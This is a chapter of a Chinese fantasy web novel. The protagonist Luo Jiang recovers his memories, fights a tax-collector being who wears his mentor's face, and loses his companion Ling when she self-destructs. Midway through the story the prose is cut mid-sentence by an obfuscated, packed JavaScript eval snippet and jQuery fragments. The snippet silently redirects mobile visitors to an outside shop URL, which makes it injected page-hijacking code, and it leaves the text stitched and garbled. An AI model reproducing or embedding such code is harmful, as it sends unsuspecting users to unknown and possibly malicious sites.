荒原的清晨,没有鸟鸣,只有风。
洛江躺在“家门”口的泥地里,身上那件粗布衣已经被露水打湿。他睡得很沉,像一块没有思想的石头。
但在他的梦境深处,那枚被老烟枪扔进草丛的硬币,正在疯狂地旋转。
硬币正面,那顶皇冠,像一只贪婪的吸盘,正在吮吸着洛江灵魂碎片里残存的能量。
硬币背面,那只齿轮眼,像一颗心脏,正在有力地、恶毒地搏动。
【叮!检测到高维寄生体入侵。】
【警告:宿主灵魂碎片正在被强制格式化。】
【记忆防火墙……崩溃。】
“嗡——!”
洛江猛地睁开眼。
不是之前那种清澈如白纸的迷茫。
而是——痛。
铺天盖地的记忆,像决堤的洪水,瞬间冲垮了他那脆弱的灵魂堤坝!
菌主的触手,01的冷笑,老烟枪被炮火吞没的焦黑背影,零在水晶里凝固的微笑……
“呃啊啊啊——!”
洛江抱着头,从地上弹了起来。
他的身体在剧烈颤抖,皮肤下的血管像蚯蚓一样暴起,那是记忆复苏带来的过载反应。
【叮!记忆重组完成。】
【灵魂碎片融合:100%。】
【等级恢复:Lv.20。】
【状态:暴走。】
“老……烟……枪……”
洛江从喉咙里挤出这三个字。
他猛地转头,看向那座被黄泥糊满的水晶“家”。
零还在里面,双手按着水晶壁,满脸焦急,却发不出声音。
而那个瘸腿的老头,正蹲在墙角,一边抽烟,一边若无其事地用烟袋锅敲着鞋底。
“醒了?”老烟枪吐出一口烟圈,眼皮都没抬,“醒了就赶紧去捡煤球。昨儿那点不够换早饭的。”
洛江没动。
他死死地盯着老烟枪。
那个曾经为了保护他,被炮火轰成焦炭的老烟枪。
那个现在,像个没事人一样,蹲在墙角抽烟的老烟枪。
“你……”
洛江的声音在颤抖。
“你是谁?”
老烟枪敲鞋底的动作顿了一下。
他缓缓抬起头,那张布满皱纹的老脸上,没有笑意,也没有慈祥。
“俺是谁?”
老烟枪嘿嘿笑了一声,露出一口被烟熏黄的牙。
“俺是你爷爷。”
“轰——!”
话音未落,荒原的地面猛地炸裂!
不是地震。
而是从地底深处,钻出了一座巨大的、由齿轮和血肉混合而成的——收费站。
那收费站横亘在整个荒原的尽头,挡住了所有的去路。
它的闸门是森森白骨,收费窗口则是一只巨大的、还在滴血的齿轮眼。
【叮!欢迎来到‘旧时代收费站’。】
【过路费结算中……】
【检测到宿主欠债:-13240点。】
【支付方式:自愿上交所有记忆。】
【或:献祭水晶‘家’中之人。】
“选吧。”
老烟枪站了起来,瘸着腿,一步步走向那个收费站。
他背对着洛江,声音沙哑得像两块磨砂的石头在摩擦。
“这收费站,是那个皇冠搞出来的鬼东西。”
“它认死理,就认‘规矩’。”
“要么你变傻子,要么零丫头没命。”
洛江站在原地,身体因为愤怒而剧烈颤抖。
他看着老烟枪的背影。
那个背影,不再是那个护着他的、温暖的脊梁。
“你也是来逼我交费的?”洛江的声音冷得像冰。
“还是说……”
“你也是那个皇冠的一条狗?”
老烟枪停下了脚步。
他没有回头。
只是把烟袋锅里的烟灰,在鞋底上磕了磕。
“狗?”
老烟枪笑了,笑声苍凉得像荒原上的风。
“俺要是狗,也是条咬死主人的疯狗。”
他缓缓转过身。
那张老脸上,那双浑浊的眼睛里,此刻正燃烧着一种让洛江都感到战栗的——疯狂。
“洛江啊洛江。”
老烟枪叹了口气,那口气里带着旧时代所有的烟尘。
“你以为,俺这把老骨头,是怎么从阎王爷手里爬回来的?”
他伸出那只枯瘦的手,指了指那个巨大的、由齿轮和血肉组成的收费站。
“俺跟它做了个交易。”
“用俺的‘命’,换你的‘醒’。”
老烟枪猛地一跺脚!
“咔嚓!”
他那条瘸了几十年的腿,竟然瞬间复原!
一股恐怖的不属于这个世界的威压,从他那干瘦的身体里爆发出来!
他不再是那个捡煤球的老头。
他是——守门人。
“现在,选吧。”
老烟枪的声音变得宏大、威严,像神谕。
“是交出自个儿的脑子,还是看着那丫头,替你死?”
洛江看着眼前这个“老烟枪”。
洛江笑了。
笑得眼泪都流了出来。
笑得浑身都在颤抖。
“选?”
洛江抬起手,擦去眼角的泪。
那双左蓝右黑的眼睛里,燃烧起一种比岩浆还要炽热的——杀意。
“我选……”
洛江缓缓抬起右手,五指成爪。
“把你的收费站。”
“砸了。”
“轰——!”
下一秒,他出现在那个巨大的齿轮眼窗口前。
一拳。
狠狠地砸在了那只还在滴血的齿轮眼上!
“咔嚓!”
齿轮崩裂。
鲜血四溅。
洛江悬浮在半空中,低头看着那个惊慌失措的“老烟枪”,声音冰冷彻骨:
“谁给你的胆子。”
“敢收老子的过路费?”
“吼——!”
收费站发出了凄厉的、非人的咆哮。整个建筑都在震颤,那些附着在钢铁上的腐肉开始蠕动,试图修复被摧毁的部位。
“没用的。”
那个“老烟枪”站在不远处,双手背在身后,脸上的皱纹舒展开来,露出了一种公事公办的冷漠——税务官。
“洛江,你这是抗税。”税务官掏出一个算盘,那算盘珠子不是木头,而是微缩的头骨。他噼里啪啦地拨动着,每拨一下,荒原上的气压就低一分。
“根据《旧时代税收法》第一千三百条,暴力抗税者,罪加三等。”
税务官抬起头,浑浊的眼睛里没有了往日的温情,只有一种令人作呕的秩序感。
“原本只需交出一个记忆,现在,你得交三个。”
“或者,把那个水晶里的丫头,连皮带骨地交出来抵债。”
洛江悬浮在半空中,浑身被黑色的机油包裹,那双左蓝右黑的眼睛,死死盯着这个披着老烟枪皮囊的怪物。
“交你妈。”
他不再是单纯的□□搏杀。
那是融合了【泰坦护腿】的重力碾压,配合【血煞战刃】的死亡锋芒。
“嗡——!”
战刃出鞘,深紫色的刀芒撕裂空气,直奔税务官的脖颈!
税务官不躲不闪,只是轻轻拨动了一颗头骨算盘珠。
“叮!”
一声脆响。
洛江那必杀的一刀,竟然在距离税务官咽喉三寸的地方,被一层看不见的薄膜挡住了!
那不是能量护盾,那是一层——规则。
“在这里,我是法。”税务官冷笑一声,反手一巴掌扇在洛江的胸口。
“砰!”
洛江像被一座山砸中,整个人倒飞出去,狠狠地撞在水晶“家”的墙壁上。
【警告!生命值跌破40%!】
【负面状态:债务诅咒。】
洛江挣扎着站起来,抹去嘴角的血迹。
他看着那个税务官。
“老烟枪……”洛江低声嘶吼,“你也变成了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539903|202148||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这种令人作呕的狗东西?”
税务官叹了口气,那口气里带着一股陈旧的霉味。
“娃啊,你不懂。”
“秩序需要税收,就像人需要吃饭。”
“你以为那个零丫头为什么会被封在水晶里?因为她太‘贵’了。你以为老夫为什么能复活?因为你付不起‘活着’的税。”
税务官一步步走来,脚下的荒原自动塌陷,形成一条通向洛江的“官道”。
“现在,选吧。”
“是自愿被格式化,还是看着那丫头,被这收费站一口一口吃掉?”
洛江没选。
他看向水晶“家”。
零在里面,双手死死按着水晶壁,满脸泪痕,拼命地摇头。
她张大了嘴,虽然发不出声音,但洛江读懂了唇语。
她说:“别管我。”
“呵。”
洛江突然笑了。
笑得癫狂,笑得凄凉。
“我洛江这辈子,最恨两样东西。”
“一是欠债。”
“二是被人逼着选。”
洛江猛地站直身体。
他抬起右手,不是召唤武器,而是狠狠地——插进了自己的胸口!
“呃啊啊啊——!”
剧痛让洛江浑身痉挛。
他的手,在那血肉模糊的胸腔里,死死地抓住了一样东西。
那是他的心脏。
“税务官是吧?”
洛江拔出滴血的手,掌心托着的,不是心脏,而是一团燃烧着金色火焰的——账本。
“你收你的税。”
“我烧我的账。”
洛江五指收拢。
“轰——!”
那本无形的账本,被他硬生生捏爆了!
税务官脸上的官服瞬间破碎,露出了下面那张惊恐的老脸。
“不!你不能烧账!”税务官尖叫着,那个头骨算盘疯狂转动,却拨不动一颗珠子了。
“这是规矩!这是秩序!”
“去你妈的规矩。”
洛江一步步走过去。
他每走一步,脚下的“官道”就崩塌一寸。
他走到税务官面前,抬起那只还在滴血的手,像捏死一只蚂蚁一样,捏住了税务官那枯瘦的脖子。
“咔嚓!”
税务官的头颅被捏爆。
但并没有血流出来。
那个头颅里,飞出了一只金色的、还在振翅的——皇冠蜜蜂。
蜜蜂嗡嗡作响,声音里带着皇冠的威压:
“有趣的玩具……竟敢吞食我的税务官……”
“没关系,游戏才刚刚开始……”
蜜蜂飞向水晶“家”。
洛江想去追,却发现自己动弹不得。
刚才那一捏,耗尽了他所有的力量。
水晶“家”里。
零看着那只飞来的蜜蜂,眼神决绝。
她不能连累洛江第二次。
她要自己结束这一切。
零双手猛地合十。
那个用水晶筑成的“家”,突然从内部亮起了刺眼的白光!
她在——自毁。
“不——!”洛江发出撕心裂肺的咆哮。
但来不及了。
水晶“家”,爆炸了。
那不是物理意义上的爆炸,而是一股纯粹的冲击波,瞬间扫平了半个荒原,也把那只皇冠蜜蜂,炸得粉碎。
冲击波过后。
荒原上,只剩下一个深不见底的巨坑。
洛江跪在坑边,浑身是血,一动不动。
他输了。
又输了。
老烟枪没了。
零也没了。
那个好不容易拼凑起来的家,再次碎成了渣。
洛江缓缓抬起头。
看向荒原的尽头。
那里,在一片血色的夕阳下,一座由无数枯骨堆成的王座,正缓缓升起。
王座上,那个戴着皇冠的身影,正轻笑着,对他招手。
“来吧,孩子。”
“把你的命,拿来抵税。”